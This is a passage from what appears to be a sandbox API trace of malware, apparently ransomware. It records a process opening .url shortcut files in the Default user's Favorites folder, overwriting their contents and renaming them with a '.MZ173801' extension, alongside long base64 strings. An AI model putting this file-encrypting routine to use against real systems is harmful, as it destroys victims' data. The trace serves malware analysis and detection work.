() returned 0x9fc [0144.495] GetCurrentThreadId () returned 0x9fc [0144.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.496] GetCurrentThreadId () returned 0x9fc [0144.496] GetCurrentThreadId () returned 0x9fc [0144.496] GetCurrentThreadId () returned 0x9fc [0144.496] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.496] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.497] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.497] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.497] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.497] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.498] CloseHandle (hObject=0x2a8) returned 1 [0144.498] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.499] WriteFile (in: hFile=0x2a8, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.500] CloseHandle (hObject=0x2a8) returned 1 [0144.500] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url.mz173801")) returned 1 [0144.501] GetCurrentThreadId () returned 0x9fc [0144.501] GetCurrentThreadId () returned 0x9fc [0144.501] GetCurrentThreadId () returned 0x9fc [0144.501] GetCurrentThreadId () returned 0x9fc [0144.501] GetCurrentThreadId () returned 0x9fc [0144.501] GetCurrentThreadId () returned 0x9fc [0144.501] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.501] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.502] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.505] GetCurrentThreadId () returned 0x9fc [0144.505] GetCurrentThreadId () returned 0x9fc [0144.505] GetCurrentThreadId () returned 0x9fc [0144.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.506] GetCurrentThreadId () returned 0x9fc [0144.506] GetCurrentThreadId () returned 0x9fc [0144.506] GetCurrentThreadId () returned 0x9fc [0144.506] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.506] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.506] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.506] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.506] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.506] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.507] CloseHandle (hObject=0x2a8) returned 1 [0144.507] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.508] WriteFile (in: hFile=0x2a8, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.509] CloseHandle (hObject=0x2a8) returned 1 [0144.510] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url.mz173801")) returned 1 [0144.510] GetCurrentThreadId () returned 0x9fc [0144.510] GetCurrentThreadId () returned 0x9fc [0144.510] GetCurrentThreadId () returned 0x9fc [0144.510] GetCurrentThreadId () returned 0x9fc [0144.510] GetCurrentThreadId () returned 0x9fc [0144.510] GetCurrentThreadId () returned 0x9fc [0144.510] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.510] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.510] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86)) returned 1 [0144.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3